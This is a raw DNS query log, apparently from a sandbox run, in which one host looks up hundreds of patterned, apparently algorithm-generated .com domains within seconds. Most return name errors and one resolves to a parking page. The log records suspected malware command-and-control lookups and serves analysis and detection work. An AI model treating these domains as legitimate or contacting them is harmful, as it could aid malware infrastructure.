Nov 11, 2024 18:51:32.951522112 CET	1.1.1.1	192.168.2.6	0x6f3c	Name error (3)	pumydyg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:32.983279943 CET	1.1.1.1	192.168.2.6	0x3122	Name error (3)	vofyjom.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.444102049 CET	1.1.1.1	192.168.2.6	0xcb5a	Name error (3)	lyvytuj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.445149899 CET	1.1.1.1	192.168.2.6	0x75d0	Name error (3)	vojyjof.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.483673096 CET	1.1.1.1	192.168.2.6	0xf141	Name error (3)	qetyvep.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.491518021 CET	1.1.1.1	192.168.2.6	0x7170	Name error (3)	galyzus.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.494848013 CET	1.1.1.1	192.168.2.6	0x2bb2	Name error (3)	gahyhob.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.496443987 CET	1.1.1.1	192.168.2.6	0x3538	Name error (3)	lykylud.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.512015104 CET	1.1.1.1	192.168.2.6	0x79e0	Name error (3)	lysymor.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.521158934 CET	1.1.1.1	192.168.2.6	0x752b	Name error (3)	puzyxip.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.546113014 CET	1.1.1.1	192.168.2.6	0xca65	Name error (3)	gaqyvys.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.548378944 CET	1.1.1.1	192.168.2.6	0x5c0a	Name error (3)	puvytuq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.558682919 CET	1.1.1.1	192.168.2.6	0x4083	Name error (3)	qeqyfug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.564471006 CET	1.1.1.1	192.168.2.6	0x3f5d	Name error (3)	lyrygid.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.569519997 CET	1.1.1.1	192.168.2.6	0x1771	Name error (3)	pujylyv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.658752918 CET	1.1.1.1	192.168.2.6	0x9dd1	Name error (3)	lykyjad.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.662022114 CET	1.1.1.1	192.168.2.6	0x61cd	Name error (3)	puvyxil.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.718121052 CET	1.1.1.1	192.168.2.6	0x57d2	Name error (3)	qekyluv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.718574047 CET	1.1.1.1	192.168.2.6	0x9242	Name error (3)	qeqyvev.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.784670115 CET	1.1.1.1	192.168.2.6	0xed6a	Name error (3)	volyzic.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.785068035 CET	1.1.1.1	192.168.2.6	0x12ad	Name error (3)	puvypoq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.838938951 CET	1.1.1.1	192.168.2.6	0xc76	Name error (3)	lyxyxox.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.850933075 CET	1.1.1.1	192.168.2.6	0x6699	Name error (3)	qexyxop.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.888248920 CET	1.1.1.1	192.168.2.6	0xfeb8	Name error (3)	vojykyf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.936856985 CET	1.1.1.1	192.168.2.6	0x7a70	Name error (3)	lyrynux.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.975317001 CET	1.1.1.1	192.168.2.6	0xea61	Name error (3)	gatyniz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.050134897 CET	1.1.1.1	192.168.2.6	0x1c6d	Name error (3)	vocypok.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.292517900 CET	1.1.1.1	192.168.2.6	0x6b0c	Name error (3)	lykywex.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.299174070 CET	1.1.1.1	192.168.2.6	0x557c	Name error (3)	qexytil.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.299253941 CET	1.1.1.1	192.168.2.6	0x6600	Name error (3)	vowybyc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.300297976 CET	1.1.1.1	192.168.2.6	0xd123	Name error (3)	gadyqaw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.301549911 CET	1.1.1.1	192.168.2.6	0x222a	Name error (3)	lymyved.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.320615053 CET	1.1.1.1	192.168.2.6	0xbe64	Name error (3)	ganydeh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.354023933 CET	1.1.1.1	192.168.2.6	0xae17	Name error (3)	gadyhoh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.354706049 CET	1.1.1.1	192.168.2.6	0xcdb4	Name error (3)	pupyguq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.354995966 CET	1.1.1.1	192.168.2.6	0x5b10	Name error (3)	qedyqal.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.871175051 CET	1.1.1.1	192.168.2.6	0x614e	Name error (3)	vonydem.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.896730900 CET	1.1.1.1	192.168.2.6	0xc43c	Name error (3)	purydel.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.898713112 CET	1.1.1.1	192.168.2.6	0x11a0	Name error (3)	lygymod.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.899187088 CET	1.1.1.1	192.168.2.6	0xc04d	Name error (3)	vowydet.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.901520014 CET	1.1.1.1	192.168.2.6	0x844c	Name error (3)	qexyluq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.903784990 CET	1.1.1.1	192.168.2.6	0x3a62	Name error (3)	lyxylyj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.904038906 CET	1.1.1.1	192.168.2.6	0xbb8d	Name error (3)	gaqydaz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.904905081 CET	1.1.1.1	192.168.2.6	0x71b7	Name error (3)	pujywep.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.905184031 CET	1.1.1.1	192.168.2.6	0xcb1	Name error (3)	pufymiv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.905195951 CET	1.1.1.1	192.168.2.6	0x63fb	No error (0)	www.gahyqah.com	parkingpage.namecheap.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 18:51:34.905195951 CET	1.1.1.1	192.168.2.6	0x63fb	No error (0)	parkingpage.namecheap.com		91.195.240.19	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.905571938 CET	1.1.1.1	192.168.2.6	0x409c	Name error (3)	qetyfyl.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.906688929 CET	1.1.1.1	192.168.2.6	0x3e5d	Name error (3)	gacyzuh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.906871080 CET	1.1.1.1	192.168.2.6	0xad62	Name error (3)	vocyzum.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.907713890 CET	1.1.1.1	192.168.2.6	0xc357	Name error (3)	lyryfyr.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.908519030 CET	1.1.1.1	192.168.2.6	0x91e4	Name error (3)	lyryvaj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.908833027 CET	1.1.1.1	192.168.2.6	0xc65e	Name error (3)	puvyxig.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.908890963 CET	1.1.1.1	192.168.2.6	0xed49	Name error (3)	qegyqov.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.908945084 CET	1.1.1.1	192.168.2.6	0xc57f	Name error (3)	gahyqas.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.912892103 CET	1.1.1.1	192.168.2.6	0xf278	Name error (3)	lysyfed.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.913038015 CET	1.1.1.1	192.168.2.6	0xd3f6	Name error (3)	pumyxul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.927376986 CET	1.1.1.1	192.168.2.6	0xd6c6	Name error (3)	gatyfuw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.927464008 CET	1.1.1.1	192.168.2.6	0x48f6	Name error (3)	vojyqac.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.930103064 CET	1.1.1.1	192.168.2.6	0xc665	Name error (3)	qebyxog.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.930773020 CET	1.1.1.1	192.168.2.6	0xee16	Name error (3)	lyvyxin.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.943495035 CET	1.1.1.1	192.168.2.6	0x5680	Name error (3)	galyqoh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.248593092 CET	1.1.1.1	192.168.2.6	0x8194	Name error (3)	vonyzuf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.265357018 CET	1.1.1.1	192.168.2.6	0x654f	Name error (3)	lygygux.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.266019106 CET	1.1.1.1	192.168.2.6	0x30bc	Name error (3)	gaqycow.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.266071081 CET	1.1.1.1	192.168.2.6	0xfa03	Name error (3)	vofyguc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.266575098 CET	1.1.1.1	192.168.2.6	0x15e0	Name error (3)	gatyveh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.266694069 CET	1.1.1.1	192.168.2.6	0x64ad	Name error (3)	vowycok.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.268105030 CET	1.1.1.1	192.168.2.6	0x4c86	Name error (3)	lyxywen.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.268146038 CET	1.1.1.1	192.168.2.6	0x5bcb	Name error (3)	pufygup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.269157887 CET	1.1.1.1	192.168.2.6	0xd431	Name error (3)	gaqydeb.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.287734032 CET	1.1.1.1	192.168.2.6	0xaf6a	Name error (3)	lysynun.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.288360119 CET	1.1.1.1	192.168.2.6	0x854f	Name error (3)	vofymif.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.288419008 CET	1.1.1.1	192.168.2.6	0x61b3	Name error (3)	pupybyg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.289164066 CET	1.1.1.1	192.168.2.6	0xa018	Name error (3)	lyvytud.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.289174080 CET	1.1.1.1	192.168.2.6	0x1552	Name error (3)	qexyreg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.289589882 CET	1.1.1.1	192.168.2.6	0xd86d	Name error (3)	gadyfys.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.299757957 CET	1.1.1.1	192.168.2.6	0xcd78	Name error (3)	qekyqop.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.299907923 CET	1.1.1.1	192.168.2.6	0xf754	Name error (3)	purycaq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.305392027 CET	1.1.1.1	192.168.2.6	0x97d0	Name error (3)	lymyxir.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.305402994 CET	1.1.1.1	192.168.2.6	0x9445	Name error (3)	qebytuv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.305505991 CET	1.1.1.1	192.168.2.6	0x4a47	Name error (3)	qetyveq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.305519104 CET	1.1.1.1	192.168.2.6	0xff66	Name error (3)	vopybym.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.305548906 CET	1.1.1.1	192.168.2.6	0xabc2	Name error (3)	qedyfyv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.305561066 CET	1.1.1.1	192.168.2.6	0xe536	Name error (3)	qedynug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.305569887 CET	1.1.1.1	192.168.2.6	0xc4ff	Name error (3)	volykek.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.311836958 CET	1.1.1.1	192.168.2.6	0xfc09	Name error (3)	puvytuv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.312335968 CET	1.1.1.1	192.168.2.6	0x31a1	Name error (3)	gadynub.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.313112974 CET	1.1.1.1	192.168.2.6	0x2075	Name error (3)	ganypis.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.313292027 CET	1.1.1.1	192.168.2.6	0x571f	Name error (3)	volyqam.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.313674927 CET	1.1.1.1	192.168.2.6	0xcceb	Name error (3)	gacyryb.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.313740969 CET	1.1.1.1	192.168.2.6	0xd6d9	Name error (3)	qeqyxil.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.314313889 CET	1.1.1.1	192.168.2.6	0x2298	Name error (3)	qegyhip.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.315474987 CET	1.1.1.1	192.168.2.6	0xcda8	Name error (3)	qeqysap.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.316663980 CET	1.1.1.1	192.168.2.6	0x4713	Name error (3)	vocyryf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.323133945 CET	1.1.1.1	192.168.2.6	0x87cb	Name error (3)	puzywag.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.324251890 CET	1.1.1.1	192.168.2.6	0x6cc6	Name error (3)	galykew.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.329006910 CET	1.1.1.1	192.168.2.6	0x55b2	Name error (3)	lymysox.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.330892086 CET	1.1.1.1	192.168.2.6	0x699d	Name error (3)	lykyjar.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.331176996 CET	1.1.1.1	192.168.2.6	0x6804	Name error (3)	vonypic.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.331250906 CET	1.1.1.1	192.168.2.6	0x21d4	Name error (3)	qekykal.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.332663059 CET	1.1.1.1	192.168.2.6	0xd3ba	Name error (3)	vojyjot.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.332917929 CET	1.1.1.1	192.168.2.6	0x639a	Name error (3)	pujyjol.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.351058006 CET	1.1.1.1	192.168.2.6	0x7f7d	Name error (3)	puzylyq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.394109964 CET	1.1.1.1	192.168.2.6	0xd5d7	Server failure (2)	lysyfyj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.743906021 CET	1.1.1.1	192.168.2.6	0x4546	Name error (3)	pumypop.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:37.982013941 CET	1.1.1.1	192.168.2.6	0xf615	Name error (3)	qekyqoq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:37.985800028 CET	1.1.1.1	192.168.2.6	0x2a6f	Name error (3)	vonyzut.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:37.995263100 CET	1.1.1.1	192.168.2.6	0x3a4e	Name error (3)	ganyzuz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:37.998888016 CET	1.1.1.1	192.168.2.6	0xd616	Name error (3)	pupydev.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:37.999064922 CET	1.1.1.1	192.168.2.6	0x12c2	Name error (3)	vopydaf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.000263929 CET	1.1.1.1	192.168.2.6	0x6dc9	Name error (3)	gacykas.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.000413895 CET	1.1.1.1	192.168.2.6	0x4ea1	Name error (3)	gadyvez.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.003243923 CET	1.1.1.1	192.168.2.6	0xe990	Name error (3)	vocykec.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.004513979 CET	1.1.1.1	192.168.2.6	0x9e0f	Name error (3)	puzyjov.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.005705118 CET	1.1.1.1	192.168.2.6	0xc8bb	Name error (3)	vowyzuf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.006298065 CET	1.1.1.1	192.168.2.6	0x61f	Name error (3)	lyvylyx.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.006354094 CET	1.1.1.1	192.168.2.6	0xc26b	Name error (3)	pumytyq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.006767988 CET	1.1.1.1	192.168.2.6	0xf824	Name error (3)	purypig.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.008805037 CET	1.1.1.1	192.168.2.6	0x607	Name error (3)	qedyvap.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.011715889 CET	1.1.1.1	192.168.2.6	0xe65e	Name error (3)	lykymij.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.011728048 CET	1.1.1.1	192.168.2.6	0x75c3	Name error (3)	pufybyl.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.011738062 CET	1.1.1.1	192.168.2.6	0xbd3f	Name error (3)	gaqypuh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.011775017 CET	1.1.1.1	192.168.2.6	0xb138	Name error (3)	gahynuw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.011785984 CET	1.1.1.1	192.168.2.6	0x2fce	Name error (3)	lymytuj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.011840105 CET	1.1.1.1	192.168.2.6	0xb647	Name error (3)	qexykav.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.012438059 CET	1.1.1.1	192.168.2.6	0x2607	Name error (3)	pujymiq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.013333082 CET	1.1.1.1	192.168.2.6	0x6923	Name error (3)	qeqytuq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.019747972 CET	1.1.1.1	192.168.2.6	0xee47	Name error (3)	lygynyr.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.020423889 CET	1.1.1.1	192.168.2.6	0x4c5f	Name error (3)	lyryson.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.020639896 CET	1.1.1.1	192.168.2.6	0xf3dc	Name error (3)	qegynul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.021332979 CET	1.1.1.1	192.168.2.6	0xe570	Name error (3)	vofybet.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.022628069 CET	1.1.1.1	192.168.2.6	0x9606	Name error (3)	gatydab.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.023792982 CET	1.1.1.1	192.168.2.6	0x5702	Name error (3)	vowypim.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.023983002 CET	1.1.1.1	192.168.2.6	0x1aa9	Name error (3)	volyjif.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.023993015 CET	1.1.1.1	192.168.2.6	0x5fdd	Name error (3)	qebylyp.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.025743008 CET	1.1.1.1	192.168.2.6	0x434b	Name error (3)	puzymup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.025907993 CET	1.1.1.1	192.168.2.6	0xaaf	Name error (3)	lyxyjod.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.026793957 CET	1.1.1.1	192.168.2.6	0x5b6d	Name error (3)	gadydow.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.029234886 CET	1.1.1.1	192.168.2.6	0xd499	Name error (3)	puvylep.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.045886993 CET	1.1.1.1	192.168.2.6	0x90d7	Name error (3)	qetysog.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.056747913 CET	1.1.1.1	192.168.2.6	0x3146	Name error (3)	vojymuk.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.063158035 CET	1.1.1.1	192.168.2.6	0xb24f	Name error (3)	gacyqoz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.065691948 CET	1.1.1.1	192.168.2.6	0x6b6a	Name error (3)	vofydak.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.270553112 CET	1.1.1.1	192.168.2.6	0xc29f	Name error (3)	pufydaq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.271038055 CET	1.1.1.1	192.168.2.6	0x9fc0	Name error (3)	vocyqot.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.272712946 CET	1.1.1.1	192.168.2.6	0x76fa	Name error (3)	qegyfeq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.272785902 CET	1.1.1.1	192.168.2.6	0xc017	Name error (3)	lyxymix.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.274270058 CET	1.1.1.1	192.168.2.6	0x6eab	Name error (3)	lykygun.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.274290085 CET	1.1.1.1	192.168.2.6	0x7981	Name error (3)	gahyfyh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.277559042 CET	1.1.1.1	192.168.2.6	0xb238	Name error (3)	puvywal.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.277570963 CET	1.1.1.1	192.168.2.6	0xddfd	Name error (3)	vonyryk.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.277580976 CET	1.1.1.1	192.168.2.6	0x33f6	Name error (3)	puryxuv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.277591944 CET	1.1.1.1	192.168.2.6	0x3de4	Name error (3)	lysyvax.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.281517982 CET	1.1.1.1	192.168.2.6	0x50f9	Name error (3)	vopycoc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.285053968 CET	1.1.1.1	192.168.2.6	0x3e59	Name error (3)	pupycop.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.286583900 CET	1.1.1.1	192.168.2.6	0x4ff3	Name error (3)	pujygug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.291054964 CET	1.1.1.1	192.168.2.6	0x6dc6	Name error (3)	qeqylyg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.291460037 CET	1.1.1.1	192.168.2.6	0x45dd	Name error (3)	lyryxud.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.293652058 CET	1.1.1.1	192.168.2.6	0x7ae0	Name error (3)	gaqyzyb.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.293926001 CET	1.1.1.1	192.168.2.6	0x2e8f	Name error (3)	qekyhug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.294855118 CET	1.1.1.1	192.168.2.6	0x4fb7	Name error (3)	lygyfej.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.304225922 CET	1.1.1.1	192.168.2.6	0x2ed8	Name error (3)	ganyrew.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.304832935 CET	1.1.1.1	192.168.2.6	0x4b1d	Name error (3)	qexyqip.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.307132006 CET	1.1.1.1	192.168.2.6	0x1042	Name error (3)	qetyxiv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.518379927 CET	1.1.1.1	192.168.2.6	0xde2c	Name error (3)	lyvywar.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.541362047 CET	1.1.1.1	192.168.2.6	0xe75c	Name error (3)	gatycis.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:39.120558023 CET	1.1.1.1	192.168.2.6	0xeaee	Name error (3)	galyhib.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:39.139820099 CET	1.1.1.1	192.168.2.6	0x9ba0	Name error (3)	qebyrel.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.300406933 CET	1.1.1.1	192.168.2.6	0x29e3	Name error (3)	lysyxuj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.304189920 CET	1.1.1.1	192.168.2.6	0x7367	Name error (3)	pupyxuq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.304517031 CET	1.1.1.1	192.168.2.6	0x6385	Name error (3)	qekyfep.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.308413982 CET	1.1.1.1	192.168.2.6	0x6e33	Name error (3)	volygyt.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.310313940 CET	1.1.1.1	192.168.2.6	0xb244	Name error (3)	gadycih.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.311157942 CET	1.1.1.1	192.168.2.6	0xc38a	Name error (3)	lymywad.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.311388016 CET	1.1.1.1	192.168.2.6	0x34a	Name error (3)	vonyqof.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.311510086 CET	1.1.1.1	192.168.2.6	0xac52	Name error (3)	gaqyres.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.311731100 CET	1.1.1.1	192.168.2.6	0xf42d	Name error (3)	vofycim.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.311886072 CET	1.1.1.1	192.168.2.6	0x6b9c	Name error (3)	lyvymun.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.313364983 CET	1.1.1.1	192.168.2.6	0xd346	Name error (3)	lygyvon.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.325406075 CET	1.1.1.1	192.168.2.6	0xd57e	Name error (3)	lykyfax.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.329916954 CET	1.1.1.1	192.168.2.6	0xd80b	Name error (3)	qexyhul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.331159115 CET	1.1.1.1	192.168.2.6	0xec7b	Name error (3)	puvymug.com	none	none	A (IP address)	IN (0x0001)	false
